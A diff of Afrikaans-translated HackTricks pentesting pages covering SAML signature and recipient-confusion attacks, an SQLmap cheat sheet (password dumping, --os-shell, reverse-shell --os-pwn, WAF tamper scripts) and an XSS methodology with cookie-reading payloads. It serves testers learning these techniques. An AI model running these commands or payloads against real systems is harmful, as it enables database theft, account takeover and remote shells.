Hier kan jy 'n **POC** vind om vir hierdie soort kwesbaarhede te toets, op die hacktricks-bladsy wat aan die begin van hierdie afdeling genoem is, kan jy vir payloads vind.
|
||||
Hier kan jy 'n **POC** vind om hierdie soort kwesbaarhede te toets, op die hacktricks-bladsy wat aan die begin van hierdie afdeling genoem is, kan jy payloads vind.
|
||||
```xml
|
||||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
...
|
||||
@ -213,7 +211,7 @@ Die volgende stappe skets die proses met die [SAML Raider](https://portswigger.n
|
||||
4. Gaan terug na die geïntercepteerde versoek in Burp se Proxy. Kies die nuwe self-ondertekende sertifikaat uit die XML Signature dropdown.
|
||||
5. Verwyder enige bestaande handtekeninge met die `Remove Signatures` knoppie.
|
||||
6. Onderteken die boodskap of bevestiging met die nuwe sertifikaat met die **`(Re-)Sign Message`** of **`(Re-)Sign Assertion`** knoppie, soos toepaslik.
|
||||
7. Stuur die ondertekende boodskap voort. Suksevolle outentisering dui aan dat die SP boodskappe onderteken deur jou self-ondertekende sertifikaat aanvaar, wat moontlike kwesbaarhede in die validasieproses van die SAML boodskappe onthul.
|
||||
7. Stuur die ondertekende boodskap voort. Succesvolle outentisering dui aan dat die SP boodskappe wat deur jou self-ondertekende sertifikaat onderteken is, aanvaar, wat moontlike kwesbaarhede in die validasieproses van die SAML boodskappe onthul.
|
||||
|
||||
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
@ -223,7 +221,7 @@ Token Recipient Confusion en Service Provider Target Confusion behels die toets
|
||||
|
||||
Vir 'n SAML Token Recipient Confusion (SAML-TRC) aanval om haalbaar te wees, moet sekere voorwaardes nagekom word. Eerstens, daar moet 'n geldige rekening op 'n Service Provider wees (verwys na SP-Legit). Tweedens, die geteikende Service Provider (SP-Target) moet tokens van dieselfde Identity Provider aanvaar wat SP-Legit bedien.
|
||||
|
||||
Die aanvalproses is eenvoudig onder hierdie voorwaardes. 'n Egte sessie word geinitieer met SP-Legit via die gedeelde Identity Provider. Die SAML Response van die Identity Provider na SP-Legit word geïntercepteer. Hierdie geïntercepteerde SAML Response, oorspronklik bedoel vir SP-Legit, word dan hergerig na SP-Target. Sukses in hierdie aanval word gemeet deur SP-Target wat die Assertion aanvaar, wat toegang tot hulpbronne onder dieselfde rekeningnaam wat vir SP-Legit gebruik is, verleen.
|
||||
Die aanvalproses is eenvoudig onder hierdie voorwaardes. 'n Echte sessie word geinitieer met SP-Legit via die gedeelde Identity Provider. Die SAML Response van die Identity Provider na SP-Legit word geïntercepteer. Hierdie geïntercepteerde SAML Response, oorspronklik bedoel vir SP-Legit, word dan hergerig na SP-Target. Succes in hierdie aanval word gemeet deur SP-Target wat die Assertion aanvaar, wat toegang tot hulpbronne onder dieselfde rekeningnaam wat vir SP-Legit gebruik is, verleen.
|
||||
```python
|
||||
# Example to simulate interception and redirection of SAML Response
|
||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||
@ -252,7 +250,7 @@ Tydens die proses van gids brute forcing, is 'n afmeldbladsy ontdek by:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
By die toegang tot hierdie skakel het 'n herleiding plaasgevind na:
|
||||
By die toegang tot hierdie skakel, het 'n herleiding plaasgevind na:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||
```
|
||||
|
@ -1,6 +1,10 @@
|
||||
# Basiese argumente vir SQLmap
|
||||
# SQLMap
|
||||
|
||||
## Generies
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basiese argumente vir SQLmap
|
||||
|
||||
### Generies
|
||||
```bash
|
||||
-u "<URL>"
|
||||
-p "<PARAM TO TEST>"
|
||||
@ -17,9 +21,9 @@
|
||||
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
|
||||
--proxy=PROXY
|
||||
```
|
||||
## Verkry Inligting
|
||||
### Verkry Inligting
|
||||
|
||||
### Intern
|
||||
#### Intern
|
||||
```bash
|
||||
--current-user #Get current user
|
||||
--is-dba #Check if current user is Admin
|
||||
@ -27,7 +31,7 @@
|
||||
--users #Get usernames od DB
|
||||
--passwords #Get passwords of users in DB
|
||||
```
|
||||
### DB data
|
||||
#### DB data
|
||||
```bash
|
||||
--all #Retrieve everything
|
||||
--dump #Dump DBMS database table entries
|
||||
@ -36,24 +40,24 @@
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
# Inspuitplek
|
||||
## Inspuitplek
|
||||
|
||||
## Van Burp/ZAP vang
|
||||
### Van Burp/ZAP vang
|
||||
|
||||
Vang die versoek en skep 'n req.txt lêer
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
## GET Versoek Inspuiting
|
||||
### GET Versoek Inspuiting
|
||||
```bash
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
```
|
||||
## POST Versoek Inspuiting
|
||||
### POST Versoek Inspuiting
|
||||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
## Inspuitings in Headers en ander HTTP Metodes
|
||||
### Inspuitings in Headers en ander HTTP Metodes
|
||||
```bash
|
||||
#Inside cookie
|
||||
sqlmap -u "http://example.com" --cookie "mycookies=*"
|
||||
@ -67,12 +71,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
|
||||
#The injection is located at the '*'
|
||||
```
|
||||
## Tweede orde inspuiting
|
||||
### Tweede orde inspuiting
|
||||
```bash
|
||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
## Skulpin
|
||||
### Skulpin
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
@ -83,7 +87,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
||||
#Dropping a reverse-shell / meterpreter
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```
|
||||
## Krap 'n webwerf met SQLmap en outomatiese eksploitasie
|
||||
### Krap 'n webwerf met SQLmap en outomatiese eksploitasie
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
@ -91,22 +95,22 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
||||
--crawl = how deep you want to crawl a site
|
||||
--forms = Parse and test forms
|
||||
```
|
||||
# Pas Injectie Aan
|
||||
## Pas Injectie Aan
|
||||
|
||||
## Stel 'n Suffix In
|
||||
### Stel 'n agtervoegsel in
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```
|
||||
## Voorvoegsel
|
||||
### Voorvoegsel
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
## Hulp om booleaanse inspuiting te vind
|
||||
### Help om booleaanse inspuiting te vind
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
## Tamper
|
||||
### Tamper
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
@ -115,45 +119,45 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Vervang apostrofkarakter met sy UTF-8 volle breedte teenhanger |
|
||||
| apostrophenullencode.py | Vervang apostrofkarakter met sy onwettige dubbele unicode teenhanger |
|
||||
| appendnullbyte.py | Voeg geënkodeerde NULL byte karakter by aan die einde van die payload |
|
||||
| appendnullbyte.py | Voeg geënkodeerde NULL-byte karakter by aan die einde van die payload |
|
||||
| base64encode.py | Base64 al karakters in 'n gegewe payload |
|
||||
| between.py | Vervang groter as operator \('>'\) met 'NOT BETWEEN 0 AND \#' |
|
||||
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Daarna vervang karakter = met LIKE operator |
|
||||
| chardoubleencode.py | Dubbel url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\) |
|
||||
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige willekeurige leë karakter. Vervang daarna karakter = met LIKE operator |
|
||||
| chardoubleencode.py | Dubbel url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeer nie\) |
|
||||
| commalesslimit.py | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Vervang voorbeelde soos 'MID\(A, B, C\)' met 'MID\(A FROM B FOR C\)' |
|
||||
| concat2concatws.py | Vervang voorbeelde soos 'CONCAT\(A, B\)' met 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | Url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\) |
|
||||
| charunicodeencode.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\). "\u0022" |
|
||||
| charencode.py | Url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeer nie\) |
|
||||
| charunicodeencode.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeer nie\). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeer nie\). "\u0022" |
|
||||
| equaltolike.py | Vervang al voorkomste van operator gelyk \('='\) met operator 'LIKE' |
|
||||
| escapequotes.py | Slas escape aanhalings \(' en "\) |
|
||||
| greatest.py | Vervang groter as operator \('>'\) met 'GREATEST' teenhanger |
|
||||
| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by |
|
||||
| ifnull2ifisnull.py | Vervang voorbeelde soos 'IFNULL\(A, B\)' met 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Omhels volledige navraag met weergawe kommentaar |
|
||||
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergwe kommentaar |
|
||||
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergawe kommentaar |
|
||||
| multiplespaces.py | Voeg meerdere spasies rondom SQL sleutelwoorde by |
|
||||
| nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging \(bv. .replace\("SELECT", ""\)\) filters |
|
||||
| percentage.py | Voeg 'n persentasieteken \('%'\) voor elke karakter by |
|
||||
| overlongutf8.py | Converteer al karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\) |
|
||||
| randomcase.py | Vervang elke sleutelwoord karakter met ewekansige kaswaarde |
|
||||
| randomcomments.py | Voeg ewekansige kommentaar by SQL sleutelwoorde |
|
||||
| overlongutf8.py | Converteer al karakters in 'n gegewe payload \(nie reeds geënkodeer nie\) |
|
||||
| randomcase.py | Vervang elke sleutelwoordkarakter met willekeurige kaswaarde |
|
||||
| randomcomments.py | Voeg willekeurige kommentaar by SQL sleutelwoorde |
|
||||
| securesphere.py | Voeg spesiaal saamgestelde string by |
|
||||
| sp_password.py | Voeg 'sp_password' by aan die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
|
||||
| space2comment.py | Vervang spasie karakter \(' '\) met kommentaar |
|
||||
| space2dash.py | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\) |
|
||||
| space2hash.py | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\) |
|
||||
| space2morehash.py | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\) |
|
||||
| space2mssqlblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2dash.py | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n willekeurige string en 'n nuwe lyn \('\n'\) |
|
||||
| space2hash.py | Vervang spasie karakter \(' '\) met 'n pondkarakter \('\#'\) gevolg deur 'n willekeurige string en 'n nuwe lyn \('\n'\) |
|
||||
| space2morehash.py | Vervang spasie karakter \(' '\) met 'n pondkarakter \('\#'\) gevolg deur 'n willekeurige string en 'n nuwe lyn \('\n'\) |
|
||||
| space2mssqlblank.py | Vervang spasie karakter \(' '\) met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mssqlhash.py | Vervang spasie karakter \(' '\) met 'n pondkarakter \('\#'\) gevolg deur 'n nuwe lyn \('\n'\) |
|
||||
| space2mysqlblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mysqlblank.py | Vervang spasie karakter \(' '\) met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2mysqldash.py | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n nuwe lyn \('\n'\) |
|
||||
| space2plus.py | Vervang spasie karakter \(' '\) met plus \('+'\) |
|
||||
| space2randomblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| space2randomblank.py | Vervang spasie karakter \(' '\) met 'n willekeurige leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhangers \(&& en |
|
||||
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
|
||||
| unmagicquotes.py | Vervang aanhaling karakter \('\) met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde \(om dit te laat werk\) |
|
||||
| unmagicquotes.py | Vervang aanhalingsteken \('\) met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde \(om dit te laat werk\) |
|
||||
| uppercase.py | Vervang elke sleutelwoordkarakter met hoofletters waarde 'INSERT' |
|
||||
| varnish.py | Voeg 'n HTTP kop 'X-originating-IP' by |
|
||||
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar |
|
||||
|
@ -1,20 +1,22 @@
|
||||
# XSS (Cross Site Scripting)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Metodologie
|
||||
|
||||
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koppe_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
|
||||
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koptekste_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
|
||||
2. **Vind die konteks** waar dit reflekteer/gebruik word.
|
||||
3. As dit **reflekteer**
|
||||
1. Kontroleer **watter simbole kan jy gebruik** en berei die payload voor, afhangende daarvan:
|
||||
1. Kontroleer **watter simbole jy kan gebruik** en berei die payload voor, afhangende daarvan:
|
||||
1. In **rauwe HTML**:
|
||||
1. Kan jy nuwe HTML-tags skep?
|
||||
2. Kan jy gebeurtenisse of eienskappe gebruik wat die `javascript:` protokol ondersteun?
|
||||
3. Kan jy beskermings omseil?
|
||||
4. Word die HTML-inhoud geïnterpreteer deur enige kliëntkant JS-enjin (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md) misbruik.
|
||||
5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Markup - HTML scriptless inspuiting**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
|
||||
4. Word die HTML-inhoud geïnterpreteer deur enige kliënt-kant JS enjin (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliënt-Kant Sjabloon Inspuiting**](../client-side-template-injection-csti.md) misbruik.
|
||||
5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merk - HTML sonder skrip inspuiting**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
|
||||
2. Binne 'n **HTML-tag**:
|
||||
1. Kan jy na die rauwe HTML-konteks ontsnap?
|
||||
2. Kan jy nuwe gebeurtenisse/eienskappe skep om JS-kode uit te voer?
|
||||
2. Kan jy nuwe gebeurtenisse/eigenskappe skep om JS-kode uit te voer?
|
||||
3. Ondersteun die eienskap waar jy vasgevang is JS-uitvoering?
|
||||
4. Kan jy beskermings omseil?
|
||||
3. Binne **JavaScript kode**:
|
||||
@ -23,9 +25,9 @@
|
||||
3. Is jou invoer in sjabloon letterlik \`\`?
|
||||
4. Kan jy beskermings omseil?
|
||||
4. Javascript **funksie** wat **uitgevoer** word
|
||||
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
|
||||
1. Jy kan die naam van die funksie wat uitgevoer moet word aandui. bv.: `?callback=alert(1)`
|
||||
4. As **gebruik**:
|
||||
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **gecontroleerde invoer deur enige sink gebruik word.**
|
||||
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **beheerde invoer deur enige sink gebruik word.**
|
||||
|
||||
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor:
|
||||
|
||||
@ -37,7 +39,7 @@ debugging-client-side-js.md
|
||||
|
||||
Om suksesvol 'n XSS te misbruik, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat reflekteer** in die webblad.
|
||||
|
||||
- **Intermediair reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
|
||||
- **Intermediêr reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
|
||||
- **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, in die bediener gestoor word en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
|
||||
- **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n **DOM XSS** misbruik.
|
||||
|
||||
@ -48,16 +50,16 @@ Wanneer jy probeer om 'n XSS te misbruik, is die eerste ding wat jy moet weet **
|
||||
### Rauwe HTML
|
||||
|
||||
As jou invoer **reflekteer op die rauwe HTML** bladsy, sal jy sommige **HTML-tags** moet misbruik om JS-kode uit te voer: `<img , <iframe , <svg , <script` ... dit is net 'n paar van die baie moontlike HTML-tags wat jy kan gebruik.\
|
||||
Hou ook in gedagte [Kliëntkant Sjabloon Inspuiting](../client-side-template-injection-csti.md).
|
||||
Hou ook in gedagte [Kliënt-Kant Sjabloon Inspuiting](../client-side-template-injection-csti.md).
|
||||
|
||||
### Binne HTML-tags eienskap
|
||||
|
||||
As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
|
||||
As jou invoer reflekteer binne die waarde van die eienskap van 'n tag, kan jy probeer:
|
||||
|
||||
1. Om **te ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en 'n nuwe HTML-tag te skep om te misbruik: `"><img [...]`
|
||||
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
|
||||
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is gekodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
|
||||
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word gekodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
4. As jou invoer reflekteer binne "**onuitputbare tags**", kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
|
||||
```html
|
||||
@ -67,9 +69,9 @@ Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
|
||||
```
|
||||
### Binne JavaScript kode
|
||||
|
||||
In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut met die **`javascript:`** protokol:
|
||||
In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
|
||||
|
||||
- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingeslote `</script>` etiket binne die HTML-kode is nie.
|
||||
- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde `</script>` etiket binne die HTML-kode is nie.
|
||||
- As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
@ -94,11 +96,11 @@ js-hoisting.md
|
||||
|
||||
Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld wat in die natuur gesien kan word, is iets soos: `?callback=callbackFunc`.
|
||||
|
||||
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te verander** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
|
||||
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole na foute te kyk soos:
|
||||
|
||||
.png>)
|
||||
|
||||
As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstrepings toe te laat (**`[\w\._]`**).
|
||||
As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstreepte te laat toe (**`[\w\._]`**).
|
||||
|
||||
Tog, selfs met daardie beperking is dit steeds moontlik om 'n paar aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te benader**:
|
||||
|
||||
@ -112,9 +114,9 @@ nextElementSibiling
|
||||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
Jy kan ook probeer om **Javascript funksies** direk te **trigger**: `obj.sales.delOrders`.
|
||||
U kan ook probeer om **Javascript-funksies** direk te **trigger**: `obj.sales.delOrders`.
|
||||
|
||||
E however, gewoonlik is die eindpunte wat die aangeduide funksie uitvoer eindpunte sonder veel interessante DOM, **ander bladsye in dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.
|
||||
E however, gewoonlik is die eindpunte wat die aangeduide funksie uitvoer eindpunte sonder veel interessante DOM, **ander bladsye in die dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.
|
||||
|
||||
Daarom, om hierdie **kwesbaarheid in 'n ander DOM** te **misbruik**, is die **Same Origin Method Execution (SOME)** uitbuiting ontwikkel:
|
||||
|
||||
@ -132,7 +134,7 @@ dom-xss.md
|
||||
|
||||
### **Universele XSS**
|
||||
|
||||
Hierdie soort XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te lees, en meer.\
|
||||
Hierdie soort XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrêre JavaScript-uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te lees, en meer.\
|
||||
Sommige **voorbeelde**:
|
||||
|
||||
{{#ref}}
|
||||
@ -147,11 +149,11 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Invoeging binne rou HTML
|
||||
## Invoeging binne ruwe HTML
|
||||
|
||||
Wanneer jou invoer **binne die HTML bladsy** weerspieël word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML gekodeer** of **verwyder** is of as dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
|
||||
Wanneer jou invoer **binne die HTML-bladsy** weerspieël word of jy kan ontsnap en HTML-kode in hierdie konteks invoeg, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML-gecodeer** of **verwyder** is of of dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
|
||||
Vir hierdie gevalle hou ook **in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Let wel: 'n HTML kommentaar kan gesluit word met\*\***\***\*`-->`\*\***\***\*of \*\***`--!>`\*\*_
|
||||
_**Let wel: 'n HTML-kommentaar kan gesluit word met\*\***\***\*`-->`\*\***\***\*of \*\***`--!>`\*\*_
|
||||
|
||||
In hierdie geval en as daar geen swart/whitelisting gebruik word nie, kan jy payloads soos gebruik:
|
||||
```html
|
||||
@ -170,7 +172,7 @@ Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
|
||||
|
||||
### Aangepaste tags
|
||||
|
||||
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om **'n aangepaste tag te skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
|
||||
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **aangepaste tag te skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
@ -241,16 +243,16 @@ Om te kyk in watter karakters ontbind word, kyk [hier](https://www.compart.com/e
|
||||
|
||||
